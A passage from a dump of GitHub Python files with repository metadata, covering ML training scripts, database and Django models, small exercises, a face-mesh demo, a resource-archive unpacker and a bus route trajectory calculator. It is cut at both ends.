4,\n \"num_beams\": None,\n \"do_sample\": True,\n \"top_k\": 50,\n \"top_p\": 0.95,\n \"use_multiprocessing\": False,\n \"save_steps\": -1,\n \"save_eval_checkpoints\": True,\n \"evaluate_during_training\": False,\n 'adam_epsilon': 1e-08,\n 'eval_batch_size': 6,\n 'fp_16': False,\n 'gradient_accumulation_steps': 16,\n 'learning_rate': 0.0003,\n 'max_grad_norm': 1.0,\n 'n_gpu': 1,\n 'seed': 42,\n 'train_batch_size': 6,\n 'warmup_steps': 0,\n 'weight_decay': 0.0\n}\n \n\nmodel = T5Model(\"t5\",\"t5-small\", args=args)\n\nmodel.train_model(train_data, eval_data=test_data, use_cuda=True,acc=sklearn.metrics.accuracy_score)\n\n\n\nroot_dir = os.getcwd()\ntrained_model_path = os.path.join(root_dir,\"outputs\")\n \n\nargs = {\n \"overwrite_output_dir\": True,\n \"max_seq_length\": 256,\n \"max_length\": 50,\n \"top_k\": 50,\n \"top_p\": 0.95,\n \"num_return_sequences\": 5,\n}\n \n\ntrained_model = T5Model(\"t5\",trained_model_path,args=args)\n \n\nprefix = \"paraphrase\"\npred = trained_model.predict([f\"{prefix}: The house will be cleaned by me every Saturday.\"])\npprint(pred)","repo_name":"kbulutozler/directed-research-3","sub_path":"future use/paraphrasing_alternative.py","file_name":"paraphrasing_alternative.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30656437826","text":"from grdb.database import Base\nfrom grdb.server.app.db import Database\nfrom grdb.server.app.config import Config\n\nadmin_db = Database(Base)\nadmin_db.init(Config.DEV_DATABASE_URL_ADMIN)\n\n# create tables for webapp\nfrom grdb.database.models import User\nfrom grdb.database.models import Institution\n\n# reset user & institution table\nUser.__table__.drop(admin_db.engine)\nInstitution.__table__.drop(admin_db.engine)\nBase.metadata.create_all(bind=admin_db.engine)\n\n# init school database\nimport json\n\nfile = open('/Users/junelee/gresq/GSA-Database/src/grdb/server/setup/allSchools.json') # fix url as needed\nschools = json.load(file)\nschools.sort(key=lambda s: s['name'])\ndb = admin_db.Session()\ni = 1\nfor school in schools:\n institution = Institution(name=school['name'], country=school['country'])\n db.add(institution)\n if i % 300 == 0:\n db.commit()\n print(i, '/', len(schools), 'done')\n i += 1\ndb.commit()\nprint(len(schools), '/', len(schools), 'done')\ndb.close()\n","repo_name":"nanoMFG/GSA-Database","sub_path":"src/grdb/server/setup/setup_schools.py","file_name":"setup_schools.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"8155722828","text":"from django.db import models\nfrom products.models import Product\nfrom django.contrib.auth.models import User\n\nfrom django.db.models.signals import pre_save,post_save,m2m_changed\n\n# Create your models here.\n\nclass CartManager(models.Manager):\n\n def new_or_get(self,request):\n cart_id = request.session.get('cart_id',None)\n qs = self.get_queryset().filter(id=cart_id)\n\n\n\n if qs.count() == 1:\n cart_obj = qs.first()\n is_created=False\n if request.user.is_authenticated and cart_obj.user is None:\n cart_obj.user = request.user\n cart_obj.save()\n print(\"Cart Exist \"+str(cart_obj.id))\n else:\n cart_obj = Cart.objects.new_cart(user=request.user)\n is_created=True\n request.session['cart_id']=cart_obj.id\n\n return cart_obj,is_created\n\n \n def new_cart(self,user=None):\n print(user)\n user_obj = None\n if user is not None:\n if user.is_authenticated:\n user_obj = user\n return self.model.objects.create(user=user_obj)\n\nclass Cart(models.Model):\n user = models.ForeignKey(User, null=True, blank=True,on_delete=models.CASCADE)\n products = models.ManyToManyField(Product, blank=True)\n subtotal = models.DecimalField(default=0.00,max_digits=100,decimal_places=2)\n total = models.DecimalField(default=0.00,max_digits=100,decimal_places=2)\n time_to_add = models.DateTimeField(auto_now_add=True)\n time_to_update = models.DateTimeField(auto_now=True)\n\n objects= CartManager()\n\n def __str__(self):\n return str(self.id)\n\n\ndef call_before_cart_save(sender,instance,action,*args,**kwargs):\n print(action)\n\n if action is 'post_add' or action == 'post_remove' or action == 'post_clear':\n products = instance.products.all()\n total = 0\n for x in products:\n print(x.price)\n total += x.price\n\n instance.total = total\n instance.save()\n\nm2m_changed.connect(call_before_cart_save,sender=Cart.products.through)\n\ndef update_subtotal(sender,instance,*args,**kwars):\n if instance.total > 0:\n instance.subtotal = instance.total + 10\n else:\n instance.subtotal = 0\n\npre_save.connect(update_subtotal,sender=Cart)\n","repo_name":"sohel2178/ecommerce","sub_path":"carts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12086106039","text":"# Hàm tìm số lớn nhất và nhỏ nhất\ndef find_min_max(numbers):\n min_num = numbers[0] #Giả sử phần tử đầu tiên là nhỏ nhất\n second_min_num = float('inf') # Khởi tạo giá trị ban đầu của biến là số dương vô cùng lớn\n max_num = numbers[0] #Giả sử phần tử đầu tiên là lớn nhất\n max_index = 0 \n\n for i in range(len(numbers)):\n num = numbers[i]\n if num < min_num:\n second_min_num = min_num\n min_num = num\n elif num < second_min_num and num != min_num:\n second_min_num = num\n if num > max_num:\n max_num = num\n max_index = i\n return min_num, second_min_num, max_index\n\n# Danh sách ví dụ\nnumbers = [11, 2, 3, 4, 5, 8, 9, 10]\nmin_num, second_min_num, max_index = find_min_max(numbers)\nprint(\"Phần tử nhỏ nhất là \", min_num)\nprint(\"Phần tử nhỏ thứ hai là \", second_min_num)\nprint(\"Vị trí phần tử lớn nhất là \", max_index)","repo_name":"aerovfx/Fullstack4kid","sub_path":"CREATE_APP/Python/PythonChallenge/Level3/de35/DANHSACH35v2.PY","file_name":"DANHSACH35v2.PY","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"vi","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"30656354436","text":"from sqlalchemy import (\n Column,\n String,\n Integer,\n ForeignKey,\n ForeignKeyConstraint,\n UniqueConstraint,\n)\nfrom sqlalchemy.orm import relationship\n\nfrom grdb.database import Base\n\n\nclass SemFile(Base):\n \"\"\"[summary]\n \n Args:\n Base ([type]): [description]\n \"\"\"\n\n __tablename__ = 'sem_file'\n\n # Auto incremented integer primary key\n id = Column(\n Integer,\n primary_key=True,\n autoincrement=\"ignore_fk\",\n info={\"verbose_name\": \"ID\"},\n )\n\n # Foreign key for relationship to Experiment\n experiment_id = Column(Integer, ForeignKey(\"experiment.id\", ondelete=\"CASCADE\"), index=True)\n __table_args__ = (UniqueConstraint(\"id\", \"experiment_id\"),)\n\n filename = Column(String(64))\n url = Column(String(256))\n s3_object_name = Column(String(256))\n\n # MANY->ONE: sem_file->experiment\n experiment = relationship(\"Experiment\", foreign_keys=experiment_id, back_populates=\"sem_files\")\n\n # Id of the sem analysis that is designated as \"default\".\n default_analysis_id = Column(Integer, index=True)\n\n ForeignKey(\"sem_analysis.id\", name=\"fk_default_analysis_id\"),\n ForeignKeyConstraint(\n [\"default_analysis_id\"], [\"sem_analysis.id\"],\n name='fk_sem_default_analysis_id', use_alter=True\n )\n\n # Defining the foreign key constraint explicitly (as below) prevents an analysis id from\n # a different file from being assigned to the default_analysis_id column\n __table_args__ = (\n ForeignKeyConstraint(\n [\"id\", \"default_analysis_id\"],\n [\"sem_analysis.sem_file_id\", \"sem_analysis.id\"],\n use_alter=True,\n ondelete=\"CASCADE\",\n name=\"fk_default_analysis\",\n ),\n )\n __mapper_args__ = {\"confirm_deleted_rows\": False}\n\n sem_analyses = relationship(\n \"SemAnalysis\",\n cascade=\"all, delete-orphan\",\n # primaryjoin=\"SemFile.id==SemAnalysis.sem_file_id\",\n passive_deletes=True,\n single_parent=True,\n foreign_keys=\"SemAnalysis.sem_file_id\",\n back_populates=\"sem_file\",\n lazy=\"subquery\",\n )\n\n default_analysis = relationship(\n \"SemAnalysis\",\n primaryjoin=\"SemFile.default_analysis_id==SemAnalysis.id\",\n foreign_keys=default_analysis_id,\n post_update=True,\n lazy=\"subquery\",\n )\n\n def json_encodable(self):\n return {\"filename\": self.filename}\n","repo_name":"nanoMFG/GSA-Database","sub_path":"src/grdb/database/models/sem_file.py","file_name":"sem_file.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"72245923610","text":"import folium\nimport matplotlib.pyplot as plt\n\n# 创建一个Matplotlib图形\nfig, ax = plt.subplots()\n\n# 绘制一些数据点\nx = [116.404, 116.418, 116.432]\ny = [39.915, 39.925, 39.935]\nax.scatter(x, y)\n\n# 创建一个folium地图对象\nm = folium.Map(location=[39.915, 116.404], zoom_start=1, tiles='OpenStreetMap')\n\n# 将folium地图转换为Matplotlib图形\nfig = folium.Figure()\nfig.add_child(m)\nplt.axis('off')\nplt.tight_layout()\nplt.show()","repo_name":"l021021/fsl","sub_path":"folium3.py","file_name":"folium3.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13548282536","text":"from fast_bitrix24 import Bitrix\n\nfrom web_app_4dk.modules.authentication import authentication\n\n\nb = Bitrix(authentication('Bitrix'))\n\n\ndef complete_document_flow_task(req):\n company_name = req['company_name']\n task_name_search = f\"Как будем обмениваться документами с {company_name.strip()}\"\n tasks = b.get_all('tasks.task.list', {'filter': {'TITLE': task_name_search, '!STATUS': '5'}})\n if tasks:\n for task in tasks:\n b.call('tasks.task.update', {'taskId': task['id'], 'fields': {'STATUS': '5'}})\n b.call('task.commentitem.add', [task['id'], {'POST_MESSAGE': 'Способ обмена заполнен в карточке компании', 'AUTHOR_ID': '173'}], raw=True)\n","repo_name":"korpovmoxem/web_app_4dk","sub_path":"web_app_4dk/modules/CompleteDocumentFlowTask.py","file_name":"CompleteDocumentFlowTask.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29457894876","text":"from django.forms import ModelForm,TextInput\r\nfrom .models import User,Listing,Bid,Comment\r\n\r\nclass CreateBid(ModelForm):\r\n class Meta:\r\n model=Listing\r\n fields=('title',\r\n 'image',\r\n 'description',\r\n 'initial_bid'\r\n )\r\n widgets={'title':TextInput(attrs={'class': 'form-control form-group',\r\n 'placeholder': 'Give it a title'}),\r\n 'image':TextInput(attrs={'class': 'form-control form-group',\r\n 'placeholder': 'Image URL (optional)',}),\r\n 'description':TextInput(attrs={'class': 'form-control form-group',\r\n 'id':\"exampleFormControlTextarea1\",\r\n 'placeholder': 'Tell more about the product',\r\n 'rows': \"4\",}),\r\n 'initial_bid':TextInput(attrs={'class': 'form-control form-group',\r\n 'placeholder': 'Starting bid',\r\n\r\n })\r\n }\r\nclass CommentForm(ModelForm):\r\n class Meta:\r\n model=Comment\r\n fields=['text',\r\n ]\r\n\r\n# class BidForm(ModelForm):\r\n# class Meta:\r\n# model=Bid\r\n# fields=['amount'\r\n# ]","repo_name":"melbinkoshy/e_commerce","sub_path":"auctions/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2740252487","text":"import setuptools\nimport io\n\nfrom pathlib import Path\n\npackage_name = \"mathy_pydoc\"\nroot = Path(__file__).parent.resolve()\n\n# Read in package meta from about.py\nabout_path = root / package_name / \"about.py\"\nwith about_path.open(\"r\", encoding=\"utf8\") as f:\n about = {}\n exec(f.read(), about)\n\n\nwith io.open(\"README.md\", encoding=\"utf8\") as fp:\n readme = fp.read()\n\nsetuptools.setup(\n name=package_name,\n description=about[\"__summary__\"],\n author=about[\"__author__\"],\n author_email=about[\"__email__\"],\n url=about[\"__uri__\"],\n version=about[\"__version__\"],\n license=about[\"__license__\"],\n long_description=readme,\n long_description_content_type=\"text/markdown\",\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: End Users/Desktop\",\n \"Topic :: Software Development :: Code Generators\",\n \"Topic :: Utilities\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n ],\n keywords=\"markdown pydoc generator docs documentation\",\n packages=[\"mathy_pydoc\"],\n install_requires=[\n \"typer>=0.3.0,<0.8.0\",\n \"Markdown>=2.6.11\",\n 'dataclasses>=0.6,<1.0; python_version < \"3.7\"',\n 'typing_extensions>=3.7.4.1,<4.0.0.0; python_version < \"3.7\"',\n ],\n entry_points=dict(console_scripts=[\"mathy_pydoc=mathy_pydoc.cli:app\"]),\n)\n","repo_name":"mathy/mathy_pydoc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15896614959","text":"import math\n\nclass Particle:\n d2r = math.pi / 180;\n \n def __init__(self, x0=0, y0=0, v0=0,v0_angle=0, a=0, a_angle=0, mru=True):\n self.x0 = x0 # initial (t=0 s) x pos in m\n self.y0 = y0 # initial (t=0 s) y pos in m\n self.v0 = v0 # constant speed in m/s\n self.v0_angle = v0_angle # speed direction in degree\n self.v0x = self.v0*math.cos(self.v0_angle*self.d2r)\n self.v0y = self.v0*math.sin(self.v0_angle*self.d2r)\n self.mru = mru\n if self.mru == False:\n self.a = a # constant speed in m/s\n self.a_angle = a_angle # speed direction in degree\n self.ax = self.a*math.cos(self.a_angle*self.d2r)\n self.ay = self.a*math.sin(self.a_angle*self.d2r)\n else:\n self.a = 0 # constant speed in m/s\n self.a_angle = 0 # speed direction in degree\n self.ax = 0\n self.ay = 0\n\n # return x-pos at time t\n def get_x(self, t):\n return self.x0 + self.v0x*t + 0.5*self.ax*(t**2)\n \n # return y-pos at time t\n def get_y(self, t):\n return self.y0 + self.v0y*t + 0.5*self.ay*(t**2)\n\n # return x-vel at time t\n def get_vx(self, t):\n if self.mru == True:\n return self.v0x\n else:\n return self.v0x + self.ax*t\n \n # return y-vel at time t\n def get_vy(self, t):\n if self.mru == True:\n return self.v0y\n else:\n return self.v0y + self.ay*t\n","repo_name":"BooksAreMadeOfPages/jupyterlab_stuff","sub_path":"libs/Particle.py","file_name":"Particle.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25249973423","text":"import json \nimport requests\nimport warnings \n\nwarnings.filterwarnings(\"ignore\")\nurl = \"https:///api/instances?max=25&offset=0&showDeleted=false&details=false\" # By default, this retrieves the first 25 instances. You can configure this by changing 'max=' to a valid integer within the limits defined in the API docs\n\nheaders = {\n \"accept\": \"application/json\",\n \"authorization\": \"Bearer \"\n}\nresponse = requests.get(url, headers=headers, verify=False)\ndata = response.json()\n\nstring = json.dumps(data) \ntotal_running_instances = string.count(\"running\") # add some logic to retrieve 'running' and 'stopped' instances. Note to self: think of a better way to do this\ntotal_stopped_instances = string.count(\"stopped\")\nprint(f\"Total number of instances in a RUNNING state: {total_running_instances}\")\nprint(f\"Total number of instances in a STOPPED state: {total_stopped_instances}\\n\\n\")\n\nfor h in data['instances']:\n print(f\"INSTANCE: {h['hostName']}\\n STATUS: {h['status'].upper()}\\n\")\n","repo_name":"uthm4n/retrieve-instances-mapped-to-current-status","sub_path":"instances-to-statuses.py","file_name":"instances-to-statuses.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33478578609","text":"# question 1...\n#is_prime function that check whether a number is prime or not\ndef is_prime(num):\n for i in range(2, num):\n if(num % i) == 1:\n return \"Prime number\"\n break\n else:\n return \"not prime\"\n break\n\n\ndef main():\n #initialize number_prime to zero\n number_prime=0\n #take in user input\n prime_number_checker = input(\"Enter a number to check if it's prime: \")\n while prime_number_checker != '0':\n #validate that user enters a number\n for i in prime_number_checker:\n if ord(i) not in range(48,58):\n print(\"Not a number:\")\n #prime_number_checker = input(\"Enter a valid number: \")\n else:\n #call the is_prime function and pass in the users number\n number_prime= is_prime(int(prime_number_checker))\n #print the users results\n print(number_prime)\n #loop re-runs here to ask the user to enter a number or 0 to quit\n prime_number_checker = input(\"Enter another number or enter 0 to quit: \")\n\nmain()","repo_name":"dhangrad9836/python_class","sub_path":"Homework/week_11_hw/is_prime_hw.py","file_name":"is_prime_hw.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29183770423","text":"import time\nstart_time = time.time()\n\nimport math\nimport numbers\n\ndef snail_add(num1, num2):\n num = \"[\" + num1 + \",\" + num2 + \"]\"\n num = reduce(num)\n return num\n\ndef reduce(num):\n onum = \"\"\n while onum != num:\n onum = num\n num = explode(onum)\n if onum != num:\n continue\n num = ssplit(onum)\n return num\n\ndef explode(num):\n layer = 0\n danger = 0 # 1: explode; 2: split\n for i in range(len(num)):\n if num[i] == \"[\":\n layer += 1\n elif num[i] == \"]\":\n layer -= 1\n # print(\" \", end=\"\")\n if layer > 4: # danger!\n danger = 1\n for j in range(i+1, len(num)):\n if num[j] == \"]\": # grab until end of layer\n break\n break\n \n# print(num, end=\"\")\n# if danger != 0:\n# print(\" explode\")\n# else:\n# print()\n \n if danger == 1:\n a, b = map(int, num[i+1:j].split(\",\"))\n num = num[:i] + \"0\" + num[j+1:]\n for h in range(i+2,len(num)): # go right\n if num[h].isdigit():\n if num[h+1].isdigit():\n num = num[:h] + str(int(num[h:h+2]) + b) + num[h+2:]\n else:\n num = num[:h] + str(int(num[h]) + b) + num[h+1:]\n break\n for h in range(i-1, -1, -1): # go left\n if num[h].isdigit():\n if num[h-1].isdigit():\n num = num[:h-1] + str(int(num[h-1:h+1]) + a) + num[h+1:]\n else:\n num = num[:h] + str(int(num[h]) + a) + num[h+1:]\n break\n return num\n\ndef ssplit(num):\n danger = 0 # 1: explode; 2: split\n for i in range(len(num)):\n if num[i:i+2].isdigit():\n danger = 2\n break\n \n# print(num, end=\"\")\n# if danger != 0:\n# print(\" split\")\n# else:\n# print()\n \n if danger == 2:\n a = str(math.floor(int(num[i:i+2]) / 2))\n b = str(math.ceil(int(num[i:i+2]) / 2))\n num = num[:i] + \"[\" + a + \",\" + b + \"]\" + num[i+2:] \n return num\n\ndef get_magnitude(num):\n numlist = eval(num)\n magni = deepmag(numlist)\n return magni\n\ndef deepmag(numlist):\n ab = [0,0]\n for i, partner in enumerate(numlist):\n if isinstance(partner, numbers.Number):\n ab[i] = partner\n else:\n ab[i] = deepmag(partner)\n return 3*ab[0] + 2*ab[1]\n \nwith open(\"input\", \"r\") as f:\n snail = f.read().split(\"\\n\") \n\nsnail_num = snail[0]\nsnail_todo = snail[1:]\n\nfor todo in snail_todo:\n snail_num = snail_add(snail_num, todo)\n# print()\n# print(snail_num)\n\nmagnitude = get_magnitude(snail_num)\n\nprint(F\"The magnitude of this little snails math homework is {magnitude}.\")\n\ntwo_sum_magnitudes = []\nfor num1 in snail:\n for num2 in snail:\n if num1!=num2:\n two_sum_magnitudes.append(\n get_magnitude(\n snail_add(num1, num2)\n )\n )\n\nprint(F\"The largest magnitude a snail can get by adding two different numbers is {max(two_sum_magnitudes)}.\")\n\nprint()\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"whoispim/Advent_of_Code_2021","sub_path":"18/18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70309580252","text":"\"\"\"\nSee section 4.3 of the MonoTrack paper:\nhttps://openaccess.thecvf.com/content/CVPR2022W/CVSports/papers/Liu_MonoTrack_Shuttle_Trajectory_Reconstruction_From_Monocular_Badminton_Video_CVPRW_2022_paper.pdf\n\"\"\"\n\nimport torch.nn as nn\n\n\nclass HitNet(nn.Module):\n def __init__(self, input_size):\n super().__init__()\n\n self.embedding = nn.Sequential(\n nn.Linear(input_size, 32),\n nn.ReLU(),\n )\n self.rnn = nn.GRU(\n input_size=32,\n hidden_size=32,\n num_layers=2,\n batch_first=True,\n )\n self.dropout = nn.Dropout(p=0.4)\n self.output = nn.Linear(32, 3)\n\n def forward(self, x):\n x = self.embedding(x)\n x, _ = self.rnn(x)\n\n # Take the last token embedding of GRU output\n x = x[:, -1, :]\n\n x = self.dropout(x)\n x = self.output(x)\n\n return x\n","repo_name":"jerrykal/AI_CUP_2023_Spring_Computer_Vision","sub_path":"src/hit_detector/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34984141923","text":"# Find the unique number\n\n# There is an array with some numbers. All numbers are equal except for one. Try to find it!\n\ndef find_uniq(arr):\n \n for number in arr:\n if arr.count(number) == 1:\n unique = number\n\n return unique","repo_name":"guilherme4garcia/Codewars","sub_path":"Python/6kyu_FindTheUniqueNumber.py","file_name":"6kyu_FindTheUniqueNumber.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20393097903","text":"#PYTHON 2.7\n\nimport os\n\nfrom struct import unpack,pack\n\ndef size(fn):\n\n length=os.path.getsize(fn)\n\n return length\n\nfn = 'resource.car'\n\nf=open(fn,'rb')\n\nmagic = f.read(4)\n\nfsize=size(fn)\n\nif magic == '\\x72\\x61\\x63\\x01':\n\n namelst=[]\n\n offsetlst=[]\n\n f.seek(0x8)\n\n p=open('resource.car.txt','wb')\n\n index_size = unpack('I',f.read(4))[0]\n\n num = unpack('I',f.read(4))[0]\n\n for i in xrange(num):\n\n (mark,offset,name_size)=unpack('3I',f.read(0xc))\n\n name=f.read(name_size)\n\n if name_size%4==0:\n\n blank_size=0x4\n\n else:\n\n blank_size=4-name_size%4\n\n blank = f.read(blank_size)\n\n print('%d|%08x|%08x|%d\\r\\n'%(mark,offset,name_size,blank_size))\n\n namelst.append(name)\n\n offsetlst.append(offset)\n\n offsetlst.append(fsize)\n\n for i in xrange(num):\n\n dsize = offsetlst[i+1]-offsetlst[i]\n\n f.seek(offsetlst[i])\n\n (unk2,asize,size) = unpack('3I',f.read(0xc))\n\n p.write('%08x|%08x|%s|\\r\\n'%(offsetlst[i]+0xc,size,namelst[i]))\n\n dat = f.read(size)\n\n dest = open('resource//%s'%namelst[i],'wb')\n\n dest.write(dat)\n\n dest.close()\n\n p.close()\n\nf.close()","repo_name":"sevsnine/CoronaUnpackTools","sub_path":"unpack.py","file_name":"unpack.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"33155549961","text":"# pip install mediapipe\n# pip install opencv-python\n\nimport cv2\nimport mediapipe as mp\n\nmp_face_mesh = mp.solutions.face_mesh\nface_mesh = mp_face_mesh.FaceMesh()\n\nvideo = cv2.VideoCapture(0)\n\nwhile True:\n check, frame = video.read()\n height, width, _ = frame.shape\n result = face_mesh.process(frame)\n try:\n for facial_landmarks in result.multi_face_landmarks:\n for i in range(0, 468):\n landmrk = facial_landmarks.landmark[i]\n locx = int(landmrk.x * width)\n locy = int(landmrk.y * height)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n cv2.circle(frame, (locx, locy), 1, (0, 200, 0), 0)\n cv2.imshow(\"Image\", frame)\n \n except:\n cv2.imshow(\"Image\", frame)\n key = cv2.waitKey(1)\n if key == ord('q'):\n break\n\nvideo.release()\ncv2.destroyAllWindows()","repo_name":"FDlucifer/python-climb-learning-tutorial","sub_path":"I know python/how to with python/create Facemesh using mediapipe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"29890201911","text":"from ..route_elevation import base_df as re_base\nfrom . import knn\nfrom . import accel as ca\n\nimport numpy as np\nimport geopandas as gpd\n\nclass IllegalArgumentError(ValueError):\n \"\"\" \"\"\"\n pass\n\nclass RouteTrajectory():\n \"\"\" Takes 2d route coordinates extracted from shapefile and\n combines the information with elevation to create a route\n trajectory dataframe.\n \"\"\"\n\n def __init__(self,\n route_num,\n shp_filename,\n a_prof,\n stop_coords=None,\n signal_coords=None,\n mass_array=None,\n unloaded_bus_mass=12927,\n charging_power_max=None,\n aux=None,\n a_pos=0.4,\n a_neg=-1.5\n ):\n\n self._initialize_instance_args(\n route_num,\n shp_filename,\n a_prof,\n stop_coords,\n signal_coords,\n mass_array,\n unloaded_bus_mass,\n charging_power_max,\n aux,\n a_pos,\n a_neg\n )\n\n # Build Route DataFrame, starting with columns:\n # - 'Z' (elevation)\n # - 'geometry' (coordinates)\n # - 'length' (cumulative distance)\n # - 'grade' \n # - 'is_bus_stop'\n self.route_df = self.build_route_coordinate_df(\n shp_filename = shp_filename\n )\n\n self.route_df = self._add_dynamics_to_df(\n route_df=self.route_df,\n a_prof=a_prof,\n stop_coords=stop_coords,\n signal_coords=signal_coords\n )\n\n\n def _initialize_instance_args(self,\n route_num,\n shp_filename,\n a_prof,\n stop_coords,\n signal_coords,\n mass_array,\n unloaded_bus_mass,\n charging_power_max,\n aux,\n a_pos,\n a_neg\n ):\n\n # default speed limit and acceleration constant\n self.a_neg = a_neg\n self.a_pos = a_pos\n self.a_prof = a_prof\n\n\n self.stop_coords = stop_coords\n self.signal_coords=signal_coords\n\n # Mass stuff\n self.mass_array = mass_array\n self.unloaded_bus_mass = unloaded_bus_mass\n\n # # Boolean check for instance argument 'mass_array'\n # self.mass_arg_is_list = (\n # type(self.mass_array) is list\n # or\n # type(self.mass_array) is np.ndarray\n # )\n # ####\n\n # Store chargeing ability as instance attribute\n self.charging_power_max = charging_power_max\n self.aux = aux\n\n\n def _add_dynamics_to_df(self,\n route_df,\n a_prof,\n stop_coords,\n signal_coords\n ):\n\n # Try to determine bus stops from list of coordinates\n route_df = self._add_stops_to_df(stop_coords, signal_coords, route_df)\n\n # Add passenger mass column to route_df\n route_df = self._add_mass_to_df(route_df)\n\n route_df = self._add_const_forces_to_df(route_df)\n\n # Add 'acceleration' column to route_df\n route_df = self._add_accelerations_to_df(\n route_df,\n a_prof\n )\n\n route_df = self._add_velocities_to_df(route_df)\n\n route_df = self._add_delta_times_to_df(route_df)\n\n route_df = self._add_forces_to_df(route_df)\n\n # Add column to route_df containing instantaneous power experted by\n # bus at each point along route.\n route_df = self._add_power_to_df(route_df)\n\n return route_df\n\n\n def build_route_coordinate_df(self,\n shp_filename\n ):\n \"\"\" Builds GeoDataFrame with rows cooresponding to points on\n route with columns corresponding to elevation, elevation\n gradiant, and connecting line segments between points in\n the form of Shapely Linstring objects.\n\n Also adds bus stop column and assigns bus stops based on\n 'stop_coords' argument\n\n Args:\n 'stop_coords': list of coordinates of bus stops. Will\n assign points along bus route based on these values\n .\n\n \"\"\"\n\n # Build the df of 2D route coordinates and\n route_df = re_base.wrapper(shp_filename, 6, 6)\n\n return route_df\n\n\n def _add_stops_to_df(self, stop_coords, signal_coords, route_df):\n \"\"\" Find rows in route_df matching the stop_coordinates and\n mark as bus stop under new column.\n \"\"\"\n\n self.stop_nn_indicies, self.stop_coord_nn = knn.find_knn(\n 1,\n route_df.geometry.values,\n stop_coords\n )\n\n\n signal_nn_indicies, singal_coord_nn = knn.find_knn(\n 1,\n route_df.geometry.values,\n signal_coords)\n\n route_df = route_df.assign(\n is_bus_stop = ([False] * len(route_df.index))\n )\n\n route_df = route_df.assign(\n is_signal = ([False] * len(route_df.index))\n )\n\n route_df = route_df.assign(\n is_stop = ([False] * len(route_df.index))\n )\n \n for i in self.stop_nn_indicies.ravel()[::3]:\n route_df.at[i, 'is_bus_stop'] = True\n route_df.at[i, 'is_stop'] = True\n \n for i in signal_nn_indicies.ravel()[::3]:\n route_df.at[i, 'is_stop'] = True\n route_df.at[i, 'is_signal'] = True\n\n # route_df.at[0, 'is_bus_stop'] = True\n # route_df.at[-1, 'is_bus_stop'] = True\n\n return route_df\n\n\n def _add_velocities_to_df(self, route_df):\n \n\n bus_speed_array = self.const_a_velocities\n\n route_df = route_df.assign(\n velocity=bus_speed_array\n )\n\n return route_df\n\n\n def _add_delta_times_to_df(self, route_df):\n \"\"\" Add delta_times for finite_difference calculation of acceleration \"\"\"\n\n \n\n route_df = route_df.assign(delta_times = self.delta_times)\n #route_df = route_df.assign(total_time = self.route_time)\n\n\n return route_df\n\n def _add_accelerations_to_df(self, route_df, a_prof):\n \"\"\" For now just adds a acceleration velocity as a placeholder.\n \"\"\"\n # print(route_df.head())\n accelerations = self._calculate_acceleration(route_df, a_prof)\n\n #Assign acceleration values to new row in route DataFrame.\n route_df = route_df.assign(\n acceleration=accelerations\n )\n\n return route_df\n\n\n def _calculate_acceleration(self,\n route_df,\n a_prof,\n a_pos=None,\n a_neg=None\n \n ):\n\n if a_neg is None: a_neg=self.a_neg\n if a_pos is None: a_pos=self.a_pos\n\n (\n accelerations,\n self.const_a_velocities,\n self.x_ls,\n self.x_ns,\n self.delta_times\n ) = ca.accel_dynamics(\n route_df,\n a_prof,\n a_pos,\n a_neg\n )\n\n return accelerations\n\n\n def _add_mass_to_df(self,\n route_df,\n ):\n \"\"\" Compute number of passengers along the route.\n\n Eventually this will use Ryan's ridership module, which\n determines the ridership at each bus stop.\n \"\"\"\n \n full_mass_column = self.calculate_mass()\n\n\n route_df = route_df.assign(\n mass = full_mass_column\n )\n\n return route_df\n\n\n 